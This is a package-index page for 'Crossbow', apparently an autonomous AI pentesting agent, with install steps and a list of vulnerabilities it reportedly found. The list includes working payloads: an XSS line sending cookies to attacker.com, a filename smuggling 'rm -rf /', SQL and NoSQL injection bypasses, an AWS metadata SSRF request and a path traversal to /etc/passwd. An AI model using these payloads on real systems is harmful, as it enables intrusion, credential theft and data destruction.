Skip to main content

Crossbow - World's First AI Security Engineer

World's first fully autonomous AI security engineer that finds and exploits vulnerabilities, performs SOC operations, forensics, and threat intelligence.

Installation

pip install crossbow-agent

Set your API key:

export OPENAI_API_KEY=your-key-here
# or ANTHROPIC_API_KEY or GEMINI_API_KEY

Usage

Start Crossbow:

crossbow

Ask it to test something:

🎯 > Find vulnerabilities in https://example.com
🎯 > Scan this Android app for security issues
🎯 > Check if 192.168.1.0/24 has any exposed services
🎯 > Review login.py for security bugs

Crossbow figures out what to test and how to test it. Results stream back as they're found.

Commands

/model     - Switch AI models (GPT, Claude, Gemini)
/memory    - Remember conversations across sessions
/status    - Show current settings
/quit      - Exit

Real World Bugs Crossbow Found Autonmously

Hardcoded Credentials in Firmware

Found hardcoded admin password in IoT camera firmware allowing unauthorized access to recorded video streams. Password was embedded in binary, accessible to anyone who downloaded the firmware update.

SQL Injection in Login Form

Discovered SQL injection in authentication endpoint. Entering admin'-- in username field bypassed password check and granted admin access. Database credentials were also exposed through error messages.

Exposed Admin Panel

Found admin dashboard at /admin with no authentication required. Panel allowed viewing all user data, changing passwords, and downloading database backups.

API Key Leak in JavaScript

Production API keys hardcoded in client-side JavaScript bundle. Keys had write access to production database and were visible in browser developer tools.

Insecure Direct Object Reference

Changed user_id parameter in URL from 1234 to 1235 and accessed another user's private messages, payment history, and personal information. No authorization check on server side.

Command Injection in File Upload

File upload feature didn't sanitize filenames. Uploading a file named test.pdf; rm -rf / executed shell commands on the server with web server privileges.

Session Fixation

Application accepted session IDs from URL parameters. Attacker could send victim a link with attacker's session ID, then hijack the session after victim logged in.

Cross-Site Scripting (XSS)

User input reflected in page without encoding. Injecting <script>fetch('https://attacker.com/?c='+document.cookie)</script> in search box stole session cookies.

Insecure File Permissions

Database backup files stored in web root with 777 permissions. Anyone could download backup_2024.sql containing all user passwords, credit cards, and personal data.

Missing Rate Limiting

Password reset endpoint had no rate limiting. Attacker could spray 10,000 password reset emails in minutes or brute force reset tokens.

XML External Entity (XXE)

XML parser processed external entities. Sending specially crafted XML file read /etc/passwd and other system files through error messages.

CORS Misconfiguration

API returned Access-Control-Allow-Origin: * with credentials allowed. Any website could make authenticated requests and steal user data.

Open Redirect

Login page had ?redirect= parameter with no validation. Phishing emails sent users to real login page which redirected to fake site after authentication.

JWT Secret Key Leak

JWT tokens signed with weak secret found in public GitHub repository. Attacker could forge admin tokens and access any account.

NoSQL Injection

MongoDB query built from user input without sanitization. Sending {"$ne": null} in password field bypassed authentication.

Server-Side Request Forgery (SSRF)

Image upload feature fetched images from URLs. Requesting http://169.254.169.254/latest/meta-data/ exposed AWS credentials and cloud infrastructure details.

Weak Cryptography

Passwords hashed with MD5 and no salt. Rainbow table attack cracked 60% of passwords in under an hour.

Race Condition in Payment

Submitting multiple simultaneous purchase requests with same payment method charged card once but delivered items multiple times.

Directory Traversal

Download endpoint allowed ../ in filename parameter. Requesting /download?file=../../../../etc/passwd exposed system files.

API Keys

Get a key from one of these:

  • OpenAI: platform.openai.com
  • Anthropic: console.anthropic.com
  • Google: aistudio.google.com

Add to .env file.

Disclaimer

Author is not responsible for damage if anyone use this tool for illegal tasks

Credits

Thanks for amazing prompts and tools in CAI we used some of them in Crossbow v1.

Legal

Crossbow is a hobby project and this will be always free for anyone to use.

License

MIT

Metadata

Release files for crossbow-agent 2.0.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for crossbow-agent 2.0.2
File Size Uploaded
crossbow_agent-2.0.2.tar.gz 73.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for crossbow-agent 2.0.2
File Interpreter ABI Platform
crossbow_agent-2.0.2-py3-none-any.whl Python 3 none any Details

Total release size: 148.3 kB

Release files / crossbow_agent-2.0.2.tar.gz

Download URL crossbow_agent-2.0.2.tar.gz
Size 73.1 kB
Tags Source
SHA-256 checksum
How to use checksums
f377e96626d61ee39b143d75f851bf753369ee4ab2ae7a46599fb01015c2359d
BLAKE2b-256 checksum
How to use checksums
38b86fc88c6db116bbb63b472ea7ed1870005e6bed4a93fc3a74f8875ba00446
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.11.13

Release files / crossbow_agent-2.0.2-py3-none-any.whl

Download URL crossbow_agent-2.0.2-py3-none-any.whl
Size 75.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
7feb4ae01195a1d7a9fa51ad2706566b17ba5e56e1c9d089a054d049221e1d7c
BLAKE2b-256 checksum
How to use checksums
1c8bc5b67d62a6bcd18d36b743b1284e29deaf3fb6cfff99c43b679ab82d64ed
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.11.13

Release history Release notifications | RSS feed

This release

2.0.2 This release

2 release files

2.0.1

2 release files

2.0.0

2 release files

1.0.1

2 release files

1.0.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page